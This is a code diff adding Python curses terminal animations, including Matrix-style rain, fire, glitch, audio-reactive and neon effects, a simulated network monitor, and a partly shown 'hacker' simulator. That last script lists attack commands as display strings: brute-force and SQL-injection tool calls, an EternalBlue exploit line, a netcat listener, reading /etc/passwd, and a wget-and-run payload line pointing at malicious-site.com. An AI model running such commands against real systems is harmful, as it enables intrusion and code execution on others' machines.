+ stdscr.addstr(0, 0, "DNA SEQUENCER v3.2", curses.color_pair(6) | curses.A_BOLD)
+
+ # contador de bases
+ base_count = {base: 0 for base in dna_bases}
+ for (x, y) in dna_pairs.keys():
+ if y < sh:
+ # conta bases na tela atual (aproximação)
+ base_count[random.choice(dna_bases)] += 1
+
+ count_str = " | ".join([f"{base}:{count}" for base, count in base_count.items()])
+ if len(count_str) < sw - 20:
+ stdscr.addstr(1, 0, count_str, curses.color_pair(5))
+ except curses.error:
+ pass
+
+ # indicador de sequência especial
+ if current_sequence:
+ try:
+ progress = min(100, (sequence_pos * 100) // len(current_sequence))
+ seq_info = f"ANALYZING: {current_sequence} ({progress}%)"
+ stdscr.addstr(sh-1, 0, seq_info[:sw], curses.color_pair(7))
+ except curses.error:
+ pass
+
+ # legenda das cores
+ try:
+ legend = "A=Red T=Blue G=Green C=Yellow"
+ stdscr.addstr(sh-2, sw - len(legend), legend, curses.color_pair(6))
+ except curses.error:
+ pass
+
+ stdscr.refresh()
+ time.sleep(0.05)
+
+if __name__ == '__main__':
+ try:
+ import math
+ curses.wrapper(main)
+ except KeyboardInterrupt:
+ pass
@@ -0,0 +1,93 @@+#!/usr/bin/env python3
+import curses
+import random
+import time
+
+def main(stdscr):
+ # configura terminal
+ curses.curs_set(0)
+ stdscr.nodelay(True)
+ stdscr.timeout(100)
+
+ sh, sw = stdscr.getmaxyx()
+ columns = [0] * sw # posição y para cada coluna
+ speeds = [random.randint(1, 4) for _ in range(sw)] # velocidade individual por coluna
+ trails = [[' ' for _ in range(sh)] for _ in range(sw)] # rastro de caracteres
+ trail_ages = [[0 for _ in range(sh)] for _ in range(sw)] # idade dos caracteres
+
+ # caracteres japoneses/katakana para autenticidade
+ katakana_chars = "アイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲン"
+ ascii_chars = "".join([chr(i) for i in range(33, 127)])
+ all_chars = katakana_chars + ascii_chars
+
+ # inicializa cores com diferentes intensidades
+ curses.start_color()
+ curses.use_default_colors()
+ curses.init_pair(1, curses.COLOR_GREEN, -1) # verde brilhante
+ curses.init_pair(2, curses.COLOR_GREEN, -1) # verde médio
+ curses.init_pair(3, curses.COLOR_GREEN, -1) # verde escuro
+ curses.init_pair(4, curses.COLOR_WHITE, -1) # branco (ponta)
+
+ frame_count = 0
+
+ while True:
+ key = stdscr.getch()
+ if key == ord('q'):
+ break
+
+ stdscr.clear()
+
+ for x in range(sw):
+ # atualiza posição baseada na velocidade da coluna
+ if frame_count % (5 - speeds[x]) == 0: # colunas mais rápidas atualizam mais frequentemente
+ y = columns[x]
+
+ # escolhe caractere (70% katakana, 30% ASCII)
+ if random.random() < 0.7:
+ char = random.choice(katakana_chars)
+ else:
+ char = random.choice(ascii_chars)
+
+ # adiciona ao rastro
+ if y < sh:
+ trails[x][y] = char
+ trail_ages[x][y] = 0
+
+ # atualiza posição
+ columns[x] = 0 if y >= sh - 1 else y + 1
+
+ # desenha rastro com fade
+ for y in range(sh):
+ if trails[x][y] != ' ':
+ age = trail_ages[x][y]
+
+ # escolhe cor baseada na idade
+ if age == 0:
+ color = curses.color_pair(4) # branco (mais novo)
+ elif age < 3:
+ color = curses.color_pair(1) # verde brilhante
+ elif age < 8:
+ color = curses.color_pair(2) # verde médio
+ elif age < 15:
+ color = curses.color_pair(3) # verde escuro
+ else:
+ trails[x][y] = ' ' # remove caractere muito antigo
+ continue
+
+ try:
+ stdscr.addch(y, x, trails[x][y], color)
+ except curses.error:
+ pass
+
+ # envelhece caractere
+ trail_ages[x][y] += 1
+
+ stdscr.refresh()
+ frame_count += 1
+ time.sleep(0.05)
+
+if __name__ == '__main__':
+ try:
+ curses.wrapper(main)
+ except KeyboardInterrupt:
+ pass
@@ -0,0 +1,67 @@+#!/usr/bin/env python3
+import curses
+import random
+import time
+
+def main(stdscr):
+ # configura terminal
+ curses.curs_set(0)
+ stdscr.nodelay(True)
+ stdscr.timeout(100)
+
+ sh, sw = stdscr.getmaxyx()
+ columns = [0] * sw
+ heat_levels = [0] * sw # nível de "calor" por coluna
+
+ # inicializa cores do fogo
+ curses.start_color()
+ curses.use_default_colors()
+ curses.init_pair(1, curses.COLOR_BLUE, -1) # azul (frio)
+ curses.init_pair(2, curses.COLOR_CYAN, -1) # ciano
+ curses.init_pair(3, curses.COLOR_GREEN, -1) # verde
+ curses.init_pair(4, curses.COLOR_YELLOW, -1) # amarelo
+ curses.init_pair(5, curses.COLOR_RED, -1) # vermelho
+ curses.init_pair(6, curses.COLOR_MAGENTA, -1) # magenta (muito quente)
+ curses.init_pair(7, curses.COLOR_WHITE, -1) # branco (máximo calor)
+
+ fire_colors = [
+ curses.color_pair(1), # azul
+ curses.color_pair(2), # ciano
+ curses.color_pair(3), # verde
+ curses.color_pair(4), # amarelo
+ curses.color_pair(5), # vermelho
+ curses.color_pair(6), # magenta
+ curses.color_pair(7), # branco
+ ]
+
+ while True:
+ key = stdscr.getch()
+ if key == ord('q'):
+ break
+
+ for x in range(sw):
+ y = columns[x]
+ char = chr(random.randint(33, 126))
+
+ # atualiza nível de calor da coluna
+ heat_change = random.randint(-1, 2) # pode esfriar ou esquentar
+ heat_levels[x] = max(0, min(6, heat_levels[x] + heat_change))
+
+ # escolhe cor baseada no calor
+ color_pair = fire_colors[heat_levels[x]]
+
+ try:
+ stdscr.addch(y, x, char, color_pair)
+ except curses.error:
+ pass
+
+ columns[x] = 0 if y >= sh - 1 else y + 1
+
+ stdscr.refresh()
+ time.sleep(0.05)
+
+if __name__ == '__main__':
+ try:
+ curses.wrapper(main)
+ except KeyboardInterrupt:
+ pass
@@ -0,0 +1,96 @@+#!/usr/bin/env python3
+import curses
+import random
+import time
+
+def main(stdscr):
+ # configura terminal
+ curses.curs_set(0)
+ stdscr.nodelay(True)
+ stdscr.timeout(100)
+
+ sh, sw = stdscr.getmaxyx()
+ columns = [0] * sw
+ glitch_timer = 0
+ glitch_active = False
+ corrupted_lines = set()
+
+ # inicializa cores
+ curses.start_color()
+ curses.use_default_colors()
+ curses.init_pair(1, curses.COLOR_GREEN, -1) # verde normal
+ curses.init_pair(2, curses.COLOR_RED, -1) # vermelho (erro)
+ curses.init_pair(3, curses.COLOR_WHITE, -1) # branco (glitch)
+ curses.init_pair(4, curses.COLOR_YELLOW, -1) # amarelo (aviso)
+ curses.init_pair(5, curses.COLOR_MAGENTA, -1) # magenta (corrupção)
+
+ while True:
+ key = stdscr.getch()
+ if key == ord('q'):
+ break
+
+ # controla glitches aleatórios
+ glitch_timer += 1
+ if glitch_timer > random.randint(100, 300): # glitch a cada 5-15 segundos
+ glitch_active = True
+ glitch_timer = 0
+ # corrompe algumas linhas aleatórias
+ corrupted_lines = set(random.randint(0, sh-1) for _ in range(random.randint(1, 5)))
+
+ if glitch_active:
+ # efeito glitch por alguns frames
+ if random.randint(1, 10) > 7: # 30% chance de parar o glitch
+ glitch_active = False
+ corrupted_lines.clear()
+
+ for x in range(sw):
+ y = columns[x]
+
+ if glitch_active and y in corrupted_lines:
+ # caracteres corrompidos durante glitch
+ char = random.choice(['█', '▓', '▒', '░', '▄', '▀', '■', '□'])
+ color_choice = random.choice([
+ curses.color_pair(2), # vermelho
+ curses.color_pair(3), # branco
+ curses.color_pair(5), # magenta
+ ])
+ elif glitch_active and random.randint(1, 20) == 1:
+ # caracteres piscando aleatoriamente
+ char = chr(random.randint(33, 126))
+ color_choice = curses.color_pair(4) # amarelo
+ else:
+ # comportamento normal
+ char = chr(random.randint(33, 126))
+ color_choice = curses.color_pair(1) # verde
+
+ try:
+ stdscr.addch(y, x, char, color_choice)
+ except curses.error:
+ pass
+
+ columns[x] = 0 if y >= sh - 1 else y + 1
+
+ # adiciona linhas de erro ocasionais
+ if glitch_active and random.randint(1, 30) == 1:
+ error_y = random.randint(0, sh-1)
+ error_msg = random.choice([
+ "ERROR: SYSTEM BREACH DETECTED",
+ "WARNING: UNAUTHORIZED ACCESS",
+ "CRITICAL: FIREWALL COMPROMISED",
+ "ALERT: INTRUSION DETECTED",
+ "FATAL: SECURITY VIOLATION"
+ ])
+ try:
+ stdscr.addstr(error_y, max(0, sw//2 - len(error_msg)//2),
+ error_msg[:sw], curses.color_pair(2))
+ except curses.error:
+ pass
+
+ stdscr.refresh()
+ time.sleep(0.05)
+
+if __name__ == '__main__':
+ try:
+ curses.wrapper(main)
+ except KeyboardInterrupt:
+ pass
@@ -0,0 +1,141 @@+#!/usr/bin/env python3
+import curses
+import random
+import time
+
+def create_ascii_art():
+ """Cria uma arte ASCII simples para revelar"""
+ art = [
+ " ╔══════════════════╗ ",
+ " ║ MATRIX CODE ║ ",
+ " ║ ║ ",
+ " ║ ┌─────────────┐ ║ ",
+ " ║ │ WAKE UP NEO │ ║ ",
+ " ║ └─────────────┘ ║ ",
+ " ║ ║ ",
+ " ║ THE MATRIX HAS ║ ",
+ " ║ YOU... ║ ",
+ " ║ ║ ",
+ " ╚══════════════════╝ "
+ ]
+ return art
+
+def main(stdscr):
+ # configura terminal
+ curses.curs_set(0)
+ stdscr.nodelay(True)
+ stdscr.timeout(100)
+
+ sh, sw = stdscr.getmaxyx()
+ columns = [0] * sw
+
+ # arte ASCII para revelar
+ ascii_art = create_ascii_art()
+ art_height = len(ascii_art)
+ art_width = max(len(line) for line in ascii_art)
+
+ # posição central da arte
+ art_start_y = max(0, (sh - art_height) // 2)
+ art_start_x = max(0, (sw - art_width) // 2)
+
+ # controle de revelação
+ reveal_progress = 0
+ max_reveal = art_height * art_width
+ revealed_pixels = set()
+
+ # inicializa cores
+ curses.start_color()
+ curses.use_default_colors()
+ curses.init_pair(1, curses.COLOR_GREEN, -1) # chuva
+ curses.init_pair(2, curses.COLOR_WHITE, -1) # arte revelada
+ curses.init_pair(3, curses.COLOR_YELLOW, -1) # arte sendo revelada
+ curses.init_pair(4, curses.COLOR_RED, -1) # destaque
+
+ frame_count = 0
+
+ while True:
+ key = stdscr.getch()
+ if key == ord('q'):
+ break
+
+ # chuva matrix normal
+ for x in range(sw):
+ y = columns[x]
+ char = chr(random.randint(33, 126))
+
+ # verifica se está na área da arte
+ art_y = y - art_start_y
+ art_x = x - art_start_x
+
+ is_art_area = (0 <= art_y < art_height and
+ 0 <= art_x < art_width and
+ art_x < len(ascii_art[art_y]))
+
+ if is_art_area:
+ # área da arte - pode revelar pixel
+ pixel_id = (art_y, art_x)
+ if pixel_id not in revealed_pixels and random.randint(1, 100) <= 2:
+ revealed_pixels.add(pixel_id)
+ reveal_progress += 1
+ else:
+ # área normal - chuva verde
+ try:
+ stdscr.addch(y, x, char, curses.color_pair(1))
+ except curses.error:
+ pass
+
+ columns[x] = 0 if y >= sh - 1 else y + 1
+
+ # desenha arte revelada
+ for art_y in range(art_height):
+ for art_x in range(len(ascii_art[art_y])):
+ pixel_id = (art_y, art_x)
+ if pixel_id in revealed_pixels:
+ screen_y = art_start_y + art_y
+ screen_x = art_start_x + art_x
+
+ if 0 <= screen_y < sh and 0 <= screen_x < sw:
+ char = ascii_art[art_y][art_x]
+
+ # cor baseada no progresso
+ if reveal_progress > max_reveal * 0.8:
+ color = curses.color_pair(4) # vermelho (completo)
+ elif reveal_progress > max_reveal * 0.5:
+ color = curses.color_pair(2) # branco
+ else:
+ color = curses.color_pair(3) # amarelo
+
+ try:
+ stdscr.addch(screen_y, screen_x, char, color)
+ except curses.error:
+ pass
+
+ # barra de progresso
+ progress_percent = min(100, (reveal_progress * 100) // max_reveal)
+ progress_bar = "█" * (progress_percent // 5)
+ progress_text = f"DECODING: {progress_percent:3d}% [{progress_bar:<20}]"
+
+ try:
+ stdscr.addstr(sh-1, 0, progress_text[:sw], curses.color_pair(3))
+ except curses.error:
+ pass
+
+ # mensagem quando completamente revelado
+ if reveal_progress >= max_reveal:
+ try:
+ complete_msg = "DECODING COMPLETE - PRESS 'Q' TO EXIT"
+ msg_x = max(0, (sw - len(complete_msg)) // 2)
+ stdscr.addstr(sh-2, msg_x, complete_msg,
+ curses.color_pair(4) | curses.A_BOLD)
+ except curses.error:
+ pass
+
+ stdscr.refresh()
+ frame_count += 1
+ time.sleep(0.05)
+
+if __name__ == '__main__':
+ try:
+ curses.wrapper(main)
+ except KeyboardInterrupt:
+ pass
@@ -0,0 +1,196 @@+#!/usr/bin/env python3
+import curses
+import random
+import time
+import sys
+
+# Try to import audio libraries
+AUDIO_AVAILABLE = False
+audio_lib = None
+
+try:
+ import sounddevice as sd
+ import numpy as np
+ audio_lib = "sounddevice"
+ AUDIO_AVAILABLE = True
+except ImportError:
+ try:
+ import pyaudio
+ import numpy as np
+ audio_lib = "pyaudio"
+ AUDIO_AVAILABLE = True
+ except ImportError:
+ pass
+
+def get_audio_level():
+ """Get real audio level if libraries available, otherwise simulate"""
+ if not AUDIO_AVAILABLE:
+ # Simulação mais realista
+ base_level = random.randint(10, 40)
+ if random.randint(1, 20) == 1: # 5% chance de pico
+ return random.randint(70, 100)
+ elif random.randint(1, 10) == 1: # 10% chance de nível médio
+ return random.randint(50, 70)
+ return base_level
+
+ try:
+ if audio_lib == "sounddevice":
+ # Using sounddevice (easier method)
+ duration = 0.1 # 100ms sample
+ sample_rate = 44100
+ recording = sd.rec(int(duration * sample_rate),
+ samplerate=sample_rate, channels=1, dtype='float64')
+ sd.wait() # Wait until recording is finished
+
+ # Calculate RMS (Root Mean Square) for volume level
+ rms = np.sqrt(np.mean(recording**2))
+ # Convert to percentage (0-100)
+ level = min(100, int(rms * 1000))
+ return level
+
+ elif audio_lib == "pyaudio":
+ # Using pyaudio (more complex but more control)
+ chunk = 1024
+ format = pyaudio.paInt16
+ channels = 1
+ rate = 44100
+
+ p = pyaudio.PyAudio()
+ stream = p.open(format=format, channels=channels, rate=rate,
+ input=True, frames_per_buffer=chunk)
+
+ data = stream.read(chunk, exception_on_overflow=False)
+ stream.stop_stream()
+ stream.close()
+ p.terminate()
+
+ # Convert to numpy array and calculate RMS
+ audio_data = np.frombuffer(data, dtype=np.int16)
+ rms = np.sqrt(np.mean(audio_data**2))
+ # Normalize to 0-100 range
+ level = min(100, int(rms / 100))
+ return level
+
+ except Exception as e:
+ # Fall back to simulation if real audio fails
+ return random.randint(0, 100)
+
+ return random.randint(0, 100)
+
+def main(stdscr):
+ # configura terminal
+ curses.curs_set(0)
+ stdscr.nodelay(True)
+ stdscr.timeout(100)
+
+ sh, sw = stdscr.getmaxyx()
+ columns = [0] * sw
+ audio_history = [0] * 10 # histórico de níveis de áudio
+
+ # Show audio mode for 3 seconds
+ audio_mode_timer = 60 # 3 seconds at 20fps
+
+ # inicializa cores
+ curses.start_color()
+ curses.use_default_colors()
+ curses.init_pair(1, curses.COLOR_GREEN, -1) # baixo
+ curses.init_pair(2, curses.COLOR_YELLOW, -1) # médio
+ curses.init_pair(3, curses.COLOR_RED, -1) # alto
+ curses.init_pair(4, curses.COLOR_MAGENTA, -1) # muito alto
+ curses.init_pair(5, curses.COLOR_WHITE, -1) # pico
+ curses.init_pair(6, curses.COLOR_CYAN, -1) # beat
+
+ beat_threshold = 70
+ last_beat_time = 0
+
+ while True:
+ key = stdscr.getch()
+ if key == ord('q'):
+ break
+
+ # obtém nível de áudio atual
+ current_audio = get_audio_level()
+ audio_history.append(current_audio)
+ audio_history.pop(0)
+
+ # detecta beat (aumento súbito no áudio)
+ avg_audio = sum(audio_history) / len(audio_history)
+ is_beat = current_audio > beat_threshold and current_audio > avg_audio * 1.5
+
+ current_time = time.time()
+ if is_beat:
+ last_beat_time = current_time
+
+ # efeito baseado no áudio
+ for x in range(sw):
+ y = columns[x]
+ char = chr(random.randint(33, 126))
+
+ # velocidade baseada no áudio
+ if current_audio > 80:
+ speed_multiplier = 3
+ elif current_audio > 60:
+ speed_multiplier = 2
+ else:
+ speed_multiplier = 1
+
+ # cor baseada no nível de áudio
+ if current_time - last_beat_time < 0.2: # efeito beat recente
+ color_pair = curses.color_pair(6) # ciano
+ elif current_audio > 90:
+ color_pair = curses.color_pair(5) # branco
+ elif current_audio > 70:
+ color_pair = curses.color_pair(4) # magenta
+ elif current_audio > 50:
+ color_pair = curses.color_pair(3) # vermelho
+ elif current_audio > 30:
+ color_pair = curses.color_pair(2) # amarelo
+ else:
+ color_pair = curses.color_pair(1) # verde
+
+ try:
+ stdscr.addch(y, x, char, color_pair)
+ except curses.error:
+ pass
+
+ # movimento baseado no áudio
+ if random.randint(1, 4 - speed_multiplier) == 1:
+ columns[x] = 0 if y >= sh - 1 else y + 1
+
+ # visualizador de áudio no topo
+ try:
+ audio_bar = "♪" * (current_audio // 5)
+ audio_text = f"AUDIO: {current_audio:3d}% {audio_bar}"
+ stdscr.addstr(0, 0, audio_text[:sw], curses.color_pair(6))
+
+ # indicador de beat
+ if current_time - last_beat_time < 0.1:
+ beat_text = "BEAT!"
+ stdscr.addstr(0, sw - len(beat_text), beat_text,
+ curses.color_pair(5) | curses.A_BOLD)
+
+ # mostra modo de áudio por 3 segundos
+ if audio_mode_timer > 0:
+ if AUDIO_AVAILABLE:
+ mode_text = f"REAL AUDIO MODE: {audio_lib.upper()}"
+ color = curses.color_pair(5) # branco
+ else:
+ mode_text = "SIMULATED AUDIO MODE - Install sounddevice/pyaudio for real audio"
+ color = curses.color_pair(2) # amarelo
+
+ mode_y = sh // 2
+ mode_x = max(0, (sw - len(mode_text)) // 2)
+ stdscr.addstr(mode_y, mode_x, mode_text[:sw], color | curses.A_BOLD)
+ audio_mode_timer -= 1
+
+ except curses.error:
+ pass
+
+ stdscr.refresh()
+ time.sleep(0.05)
+
+if __name__ == '__main__':
+ try:
+ curses.wrapper(main)
+ except KeyboardInterrupt:
+ pass
@@ -0,0 +1,122 @@+#!/usr/bin/env python3
+import curses
+import random
+import time
+import math
+
+def main(stdscr):
+ # configura terminal
+ curses.curs_set(0)
+ stdscr.nodelay(True)
+ stdscr.timeout(100)
+
+ sh, sw = stdscr.getmaxyx()
+ columns = [0] * sw
+ glow_intensity = [0] * sw # intensidade do brilho por coluna
+ neon_pulse = 0 # pulso global do neon
+
+ # inicializa cores neon
+ curses.start_color()
+ curses.use_default_colors()
+
+ # Cores neon com diferentes intensidades
+ curses.init_pair(1, curses.COLOR_GREEN, -1) # verde escuro
+ curses.init_pair(2, curses.COLOR_GREEN, -1) # verde médio
+ curses.init_pair(3, curses.COLOR_GREEN, -1) # verde brilhante
+ curses.init_pair(4, curses.COLOR_CYAN, -1) # ciano (brilho)
+ curses.init_pair(5, curses.COLOR_WHITE, -1) # branco (máximo brilho)
+ curses.init_pair(6, curses.COLOR_MAGENTA, -1) # magenta neon
+ curses.init_pair(7, curses.COLOR_YELLOW, -1) # amarelo neon
+
+ neon_colors = [
+ curses.color_pair(1), # verde escuro
+ curses.color_pair(2), # verde médio
+ curses.color_pair(3), # verde brilhante
+ curses.color_pair(4), # ciano
+ curses.color_pair(5), # branco
+ ]
+
+ special_neon = [
+ curses.color_pair(6), # magenta
+ curses.color_pair(7), # amarelo
+ ]
+
+ while True:
+ key = stdscr.getch()
+ if key == ord('q'):
+ break
+
+ neon_pulse += 0.1 # pulso do efeito neon
+
+ for x in range(sw):
+ y = columns[x]
+ char = chr(random.randint(33, 126))
+
+ # atualiza intensidade do brilho
+ if random.randint(1, 10) == 1: # 10% chance de mudança
+ glow_intensity[x] = random.randint(0, 4)
+
+ # efeito de pulso senoidal
+ pulse_factor = (math.sin(neon_pulse + x * 0.1) + 1) / 2
+
+ # escolhe cor baseada na intensidade e pulso
+ if random.randint(1, 50) == 1: # 2% chance de cor especial
+ color_pair = random.choice(special_neon)
+ attr = curses.A_BOLD | curses.A_BLINK
+ else:
+ # intensidade baseada no brilho da coluna e pulso
+ intensity = min(4, int(glow_intensity[x] + pulse_factor * 2))
+ color_pair = neon_colors[intensity]
+
+ # adiciona atributos baseados na intensidade
+ if intensity >= 4:
+ attr = curses.A_BOLD | curses.A_STANDOUT
+ elif intensity >= 3:
+ attr = curses.A_BOLD
+ elif intensity >= 2:
+ attr = curses.A_DIM
+ else:
+ attr = 0
+
+ try:
+ stdscr.addch(y, x, char, color_pair | attr)
+ except curses.error:
+ pass
+
+ # movimento com variação baseada no brilho
+ speed_mod = max(1, glow_intensity[x] // 2 + 1)
+ if random.randint(1, speed_mod) == 1:
+ columns[x] = 0 if y >= sh - 1 else y + 1
+
+ # efeito de "flash" ocasional
+ if random.randint(1, 200) == 1: # flash raro
+ try:
+ flash_y = random.randint(0, sh-1)
+ flash_text = "█" * sw
+ stdscr.addstr(flash_y, 0, flash_text[:sw],
+ curses.color_pair(5) | curses.A_BOLD)
+ except curses.error:
+ pass
+
+ # borda neon pulsante
+ try:
+ border_intensity = int((math.sin(neon_pulse * 2) + 1) * 2)
+ border_color = neon_colors[min(4, border_intensity)]
+
+ # bordas laterais
+ for y in range(sh):
+ if random.randint(1, 5) == 1: # bordas esparsas
+ stdscr.addch(y, 0, '│', border_color | curses.A_BOLD)
+ if sw > 1:
+ stdscr.addch(y, sw-1, '│', border_color | curses.A_BOLD)
+ except curses.error:
+ pass
+
+ stdscr.refresh()
+ time.sleep(0.05)
+
+if __name__ == '__main__':
+ try:
+ curses.wrapper(main)
+ except KeyboardInterrupt:
+ pass
@@ -0,0 +1,218 @@+#!/usr/bin/env python3
+import curses
+import random
+import time
+import socket
+import subprocess
+import sys
+
+def get_network_info():
+ """Coleta informações de rede"""
+ try:
+ # IP local
+ hostname = socket.gethostname()
+ local_ip = socket.gethostbyname(hostname)
+
+ # Tenta obter informações de rede mais detalhadas
+ try:
+ # Conexões ativas (simulado para compatibilidade)
+ active_connections = random.randint(5, 25)
+
+ # Tráfego simulado (em produção, usar psutil.net_io_counters())
+ bytes_sent = random.randint(1000000, 10000000)
+ bytes_recv = random.randint(2000000, 20000000)
+
+ # Portas abertas simuladas
+ open_ports = [22, 80, 443, 8080, 3306, 5432]
+ active_ports = random.sample(open_ports, random.randint(2, 4))
+
+ return {
+ 'hostname': hostname,
+ 'local_ip': local_ip,
+ 'connections': active_connections,
+ 'bytes_sent': bytes_sent,
+ 'bytes_recv': bytes_recv,
+ 'ports': active_ports,
+ 'status': 'ONLINE'
+ }
+ except:
+ return {
+ 'hostname': hostname,
+ 'local_ip': local_ip,
+ 'connections': 0,
+ 'bytes_sent': 0,
+ 'bytes_recv': 0,
+ 'ports': [],
+ 'status': 'LIMITED'
+ }
+ except Exception as e:
+ return {
+ 'hostname': 'unknown',
+ 'local_ip': '127.0.0.1',
+ 'connections': 0,
+ 'bytes_sent': 0,
+ 'bytes_recv': 0,
+ 'ports': [],
+ 'status': 'ERROR'
+ }
+
+def format_bytes(bytes_val):
+ """Formata bytes em unidades legíveis"""
+ for unit in ['B', 'KB', 'MB', 'GB']:
+ if bytes_val < 1024.0:
+ return f"{bytes_val:.1f}{unit}"
+ bytes_val /= 1024.0
+ return f"{bytes_val:.1f}TB"
+
+def main(stdscr):
+ # configura terminal
+ curses.curs_set(0)
+ stdscr.nodelay(True)
+ stdscr.timeout(100)
+
+ sh, sw = stdscr.getmaxyx()
+ columns = [0] * sw
+
+ # simulação de pacotes de rede
+ network_packets = []
+ packet_types = ['TCP', 'UDP', 'HTTP', 'HTTPS', 'SSH', 'FTP', 'DNS', 'ICMP']
+
+ # IPs simulados para tráfego
+ ip_ranges = [
+ '192.168.1.', '10.0.0.', '172.16.0.', '8.8.8.', '1.1.1.',
+ '208.67.222.', '74.125.224.', '151.101.193.'
+ ]
+
+ # inicializa cores
+ curses.start_color()
+ curses.use_default_colors()
+ curses.init_pair(1, curses.COLOR_GREEN, -1) # tráfego normal
+ curses.init_pair(2, curses.COLOR_YELLOW, -1) # tráfego médio
+ curses.init_pair(3, curses.COLOR_RED, -1) # tráfego alto
+ curses.init_pair(4, curses.COLOR_CYAN, -1) # informações
+ curses.init_pair(5, curses.COLOR_WHITE, -1) # destaque
+ curses.init_pair(6, curses.COLOR_MAGENTA, -1) # alertas
+ curses.init_pair(7, curses.COLOR_BLUE, -1) # dados
+
+ update_timer = 0
+ network_info = get_network_info()
+
+ while True:
+ key = stdscr.getch()
+ if key == ord('q'):
+ break
+
+ # atualiza informações de rede periodicamente
+ update_timer += 1
+ if update_timer >= 100: # a cada 5 segundos
+ network_info = get_network_info()
+ update_timer = 0
+
+ # chuva matrix com caracteres de rede
+ network_chars = list("0123456789ABCDEF.:/-")
+
+ for x in range(sw):
+ y = columns[x]
+
+ # 70% caracteres normais, 30% caracteres de rede
+ if random.randint(1, 10) <= 7:
+ char = chr(random.randint(33, 126))
+ color = curses.color_pair(1)
+ else:
+ char = random.choice(network_chars)
+ # cor baseada no tipo de tráfego
+ traffic_level = random.randint(1, 100)
+ if traffic_level > 80:
+ color = curses.color_pair(3) # vermelho (alto)
+ elif traffic_level > 50:
+ color = curses.color_pair(2) # amarelo (médio)
+ else:
+ color = curses.color_pair(1) # verde (normal)
+
+ try:
+ stdscr.addch(y, x, char, color)
+ except curses.error:
+ pass
+
+ columns[x] = 0 if y >= sh - 1 else y + 1
+
+ # simula pacotes de rede atravessando a tela
+ if random.randint(1, 20) == 1:
+ packet_type = random.choice(packet_types)
+ src_ip = random.choice(ip_ranges) + str(random.randint(1, 254))
+ dst_ip = random.choice(ip_ranges) + str(random.randint(1, 254))
+ port = random.choice([22, 80, 443, 8080, 21, 53, 25])
+
+ packet_info = f"{packet_type} {src_ip}:{port} -> {dst_ip}"
+ packet_y = random.randint(2, sh-3)
+
+ try:
+ stdscr.addstr(packet_y, 0, packet_info[:sw],
+ curses.color_pair(4) | curses.A_BOLD)
+ except curses.error:
+ pass
+
+ # painel de informações de rede
+ try:
+ # título
+ title = "NETWORK MONITOR v1.0"
+ stdscr.addstr(0, 0, title, curses.color_pair(5) | curses.A_BOLD)
+
+ # informações básicas
+ info_lines = [
+ f"HOST: {network_info['hostname']}",
+ f"IP: {network_info['local_ip']}",
+ f"STATUS: {network_info['status']}",
+ f"CONNECTIONS: {network_info['connections']}",
+ f"SENT: {format_bytes(network_info['bytes_sent'])}",
+ f"RECV: {format_bytes(network_info['bytes_recv'])}",
+ ]
+
+ for i, line in enumerate(info_lines):
+ if i + 1 < sh:
+ color = curses.color_pair(4) if network_info['status'] == 'ONLINE' else curses.color_pair(6)
+ stdscr.addstr(i + 1, 0, line[:sw], color)
+
+ # portas abertas
+ if network_info['ports']:
+ ports_str = "PORTS: " + ",".join(map(str, network_info['ports']))
+ if len(info_lines) + 1 < sh:
+ stdscr.addstr(len(info_lines) + 1, 0, ports_str[:sw], curses.color_pair(7))
+
+ # indicador de atividade
+ activity_chars = ['|', '/', '-', '\\']
+ activity_char = activity_chars[int(time.time() * 4) % 4]
+ activity_text = f"ACTIVITY {activity_char}"
+ stdscr.addstr(0, sw - len(activity_text), activity_text,
+ curses.color_pair(2) | curses.A_BOLD)
+
+ except curses.error:
+ pass
+
+ # barra de tráfego na parte inferior
+ try:
+ traffic_level = random.randint(0, 100)
+ bar_width = min(sw - 20, 50)
+ filled_width = (traffic_level * bar_width) // 100
+
+ traffic_bar = "█" * filled_width + "░" * (bar_width - filled_width)
+ traffic_text = f"TRAFFIC: {traffic_level:3d}% [{traffic_bar}]"
+
+ color = curses.color_pair(1)
+ if traffic_level > 80:
+ color = curses.color_pair(3)
+ elif traffic_level > 50:
+ color = curses.color_pair(2)
+
+ stdscr.addstr(sh-1, 0, traffic_text[:sw], color)
+ except curses.error:
+ pass
+
+ stdscr.refresh()
+ time.sleep(0.05)
+
+if __name__ == '__main__':
+ try:
+ curses.wrapper(main)
+ except KeyboardInterrupt:
+ pass
@@ -0,0 +1,197 @@+#!/usr/bin/env python3
+import curses
+import random
+import time
+import datetime
+
+def main(stdscr):
+ # configura terminal
+ curses.curs_set(0)
+ stdscr.nodelay(True)
+ stdscr.timeout(100)
+
+ sh, sw = stdscr.getmaxyx()
+ columns = [0] * sw
+
+ # comandos de hacker simulados
+ hacker_commands = [
+ "nmap -sS 192.168.1.0/24",
+ "hydra -l admin -P passwords.txt ssh://target",
+ "sqlmap -u http://target.com --dbs",
+ "metasploit > use exploit/windows/smb/ms17_010_eternalblue",
+ "john --wordlist=rockyou.txt hashes.txt",
+ "aircrack-ng -w wordlist.txt capture.cap",
+ "nc -lvp 4444",
+ "python exploit.py --target 10.0.0.1",
+ "gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt",
+ "hashcat -m 1000 -a 0 hashes.txt rockyou.txt",
+ "ssh root@192.168.1.100",
+ "wget http://malicious-site.com/payload.sh",
+ "chmod +x payload.sh && ./payload.sh",
+ "ps aux | grep suspicious",
+ "netstat -tulpn | grep LISTEN",
+ "cat /etc/passwd",
+ "sudo -l",
+ "find / -perm -4000 2>/dev/null",
+ ]
+
+ # respostas do sistema
+ system_responses = [
+ "[+] Host is up (0.0012s latency)",
+ "[!] Login successful: admin:password123",
+ "[*] Database found: users, admin, logs",
+ "[+] Exploit completed successfully",
+ "[*] Password cracked: admin123",
+ "[+] Handshake captured",
+ "[*] Listening on port 4444",
+ "[+] Shell spawned on target",
+ "[*] Directory found: /admin",
+ "[+] Hash cracked in 2.3 seconds",
+ "[!] Connection established",
+ "[*] Payload downloaded",
+ "[+] Privilege escalation successful",
+ "[!] Suspicious process found: PID 1337",
+ "[*] Port 22 open on 192.168.1.100",
+ "[+] Root access granted",
+ "[!] SUID binary found: /usr/bin/passwd",
+ ]
+
+ # inicializa cores
+ curses.start_color()
+ curses.use_default_colors()
+ curses.init_pair(1, curses.COLOR_GREEN, -1) # texto normal
+ curses.init_pair(2, curses.COLOR_RED, -1) # alertas/erros
+ curses.init_pair(3, curses.COLOR_YELLOW, -1) # avisos
+ curses.init_pair(4, curses.COLOR_CYAN, -1) # informações
+ curses.init_pair(5, curses.COLOR_WHITE, -1) # destaque
